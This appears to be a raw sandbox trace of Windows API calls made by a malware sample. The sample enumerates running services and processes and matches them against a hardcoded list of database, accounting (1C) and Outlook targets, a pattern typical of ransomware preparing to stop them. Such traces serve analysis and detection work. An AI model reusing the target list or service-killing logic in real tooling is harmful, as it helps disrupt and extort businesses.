lpString2="PlugPlay") returned 1 [0099.274] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0099.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0099.274] lstrlenW (lpString="Power") returned 5 [0099.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0099.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0099.274] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0099.274] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0099.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0099.274] lstrlenW (lpString="ProfSvc") returned 7 [0099.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0099.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0099.274] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0099.274] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0099.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0099.274] lstrlenW (lpString="RpcEptMapper") returned 12 [0099.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0099.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0099.274] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0099.274] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0099.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0099.274] lstrlenW (lpString="RpcSs") returned 5 [0099.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0099.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0099.274] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0099.274] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0099.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0099.275] lstrlenW (lpString="SamSs") returned 5 [0099.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0099.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0099.275] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0099.275] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0099.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0099.275] lstrlenW (lpString="Schedule") returned 8 [0099.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0099.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0099.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0099.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0099.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0099.275] lstrlenW (lpString="SENS") returned 4 [0099.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0099.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0099.275] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0099.275] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0099.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0099.275] lstrlenW (lpString="ShellHWDetection") returned 16 [0099.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0099.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0099.275] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0099.275] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0099.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0099.275] lstrlenW (lpString="Spooler") returned 7 [0099.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0099.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0099.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0099.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0099.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0099.275] lstrlenW (lpString="SysMain") returned 7 [0099.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0099.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0099.275] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0099.275] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0099.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0099.275] lstrlenW (lpString="Themes") returned 6 [0099.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0099.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0099.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0099.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0099.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0099.275] lstrlenW (lpString="TrkWks") returned 6 [0099.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0099.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0099.275] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0099.276] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0099.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0099.276] lstrlenW (lpString="UxSms") returned 5 [0099.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0099.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0099.276] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0099.276] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0099.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0099.276] lstrlenW (lpString="WdiServiceHost") returned 14 [0099.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0099.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0099.276] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0099.276] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0099.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0099.276] lstrlenW (lpString="WdiSystemHost") returned 13 [0099.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0099.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0099.276] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0099.276] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0099.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0099.276] lstrlenW (lpString="Winmgmt") returned 7 [0099.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0099.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0099.276] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0099.276] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0099.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0099.276] lstrlenW (lpString="WPDBusEnum") returned 10 [0099.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0099.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0099.276] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0099.276] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0099.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0099.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4166030 | out: hHeap=0x4f0000) returned 1 [0099.276] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0099.278] Process32FirstW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0099.278] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0099.278] lstrlenW (lpString="System") returned 6 [0099.278] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0099.278] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0099.278] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0099.278] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0099.278] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0099.278] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0099.278] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0099.278] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0099.278] lstrlenW (lpString="smss.exe") returned 8 [0099.278] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0099.278] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0099.278] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0099.278] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0099.278] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0099.279] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0099.279] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0099.279] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0099.279] lstrlenW (lpString="csrss.exe") returned 9 [0099.279] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0099.279] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0099.279] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0099.279] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0099.279] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0099.279] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0099.279] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0099.279] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0099.279] lstrlenW (lpString="wininit.exe") returned 11 [0099.279] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0099.279] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0099.279] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0099.279] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0099.279] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0099.279] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0099.279] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0099.279] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0099.280] lstrlenW (lpString="csrss.exe") returned 9 [0099.280] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0099.280] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0099.280] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0099.280] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0099.280] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0099.280] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0099.280] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0099.280] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0099.280] lstrlenW (lpString="winlogon.exe") returned 12 [0099.280] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0099.280] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0099.280] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0099.280] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0099.280] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0099.280] lstrlenW (lpString="services.exe") returned 12 [0099.280] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0099.281] lstrlenW (lpString="lsass.exe") returned 9 [0099.281] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0099.281] lstrlenW (lpString="lsm.exe") returned 7 [0099.281] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.281] lstrlenW (lpString="svchost.exe") returned 11 [0099.281] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.281] lstrlenW (lpString="svchost.exe") returned 11 [0099.281] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.282] lstrlenW (lpString="svchost.exe") returned 11 [0099.282] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.282] lstrlenW (lpString="svchost.exe") returned 11 [0099.282] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.282] lstrlenW (lpString="svchost.exe") returned 11 [0099.282] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0099.282] lstrlenW (lpString="audiodg.exe") returned 11 [0099.282] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.283] lstrlenW (lpString="svchost.exe") returned 11 [0099.283] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.283] lstrlenW (lpString="svchost.exe") returned 11 [0099.283] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0099.283] lstrlenW (lpString="userinit.exe") returned 12 [0099.283] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0099.283] lstrlenW (lpString="dwm.exe") returned 7 [0099.283] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0099.284] lstrlenW (lpString="explorer.exe") returned 12 [0099.284] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0099.284] lstrlenW (lpString="spoolsv.exe") returned 11 [0099.284] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0099.284] lstrlenW (lpString="taskhost.exe") returned 12 [0099.284] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.284] lstrlenW (lpString="svchost.exe") returned 11 [0099.284] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0099.285] lstrlenW (lpString="payload.exe") returned 11 [0099.285] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0099.285] lstrlenW (lpString="reader_sl.exe") returned 13 [0099.285] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0099.285] lstrlenW (lpString="taskhost.exe") returned 12 [0099.285] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0099.285] lstrlenW (lpString="dllhost.exe") returned 11 [0099.285] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0099.286] CloseHandle (hObject=0x190) returned 1 [0099.286] Sleep (dwMilliseconds=0x1f4) [0100.131] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab70f8 [0100.131] EnumServicesStatusExW (in: hSCManager=0x3ab70f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0100.132] GetLastError () returned 0xea [0100.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x113e) returned 0x4166030 [0100.132] EnumServicesStatusExW (in: hSCManager=0x3ab70f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4166030, cbBufSize=0x113e, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4166030, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0100.132] CloseServiceHandle (hSCObject=0x3ab70f8) returned 1 [0100.132] lstrlenW (lpString="Appinfo") returned 7 [0100.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0100.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0100.132] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0100.132] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0100.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0100.132] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0100.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0100.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0100.132] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0100.132] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0100.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0100.132] lstrlenW (lpString="AudioSrv") returned 8 [0100.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0100.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0100.132] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0100.133] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0100.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0100.133] lstrlenW (lpString="BFE") returned 3 [0100.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0100.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0100.133] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0100.133] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0100.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0100.133] lstrlenW (lpString="CryptSvc") returned 8 [0100.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0100.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0100.133] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0100.133] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0100.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0100.133] lstrlenW (lpString="CscService") returned 10 [0100.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0100.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0100.133] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0100.133] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0100.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0100.133] lstrlenW (lpString="DcomLaunch") returned 10 [0100.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0100.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0100.133] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0100.133] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0100.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0100.133] lstrlenW (lpString="Dhcp") returned 4 [0100.133] 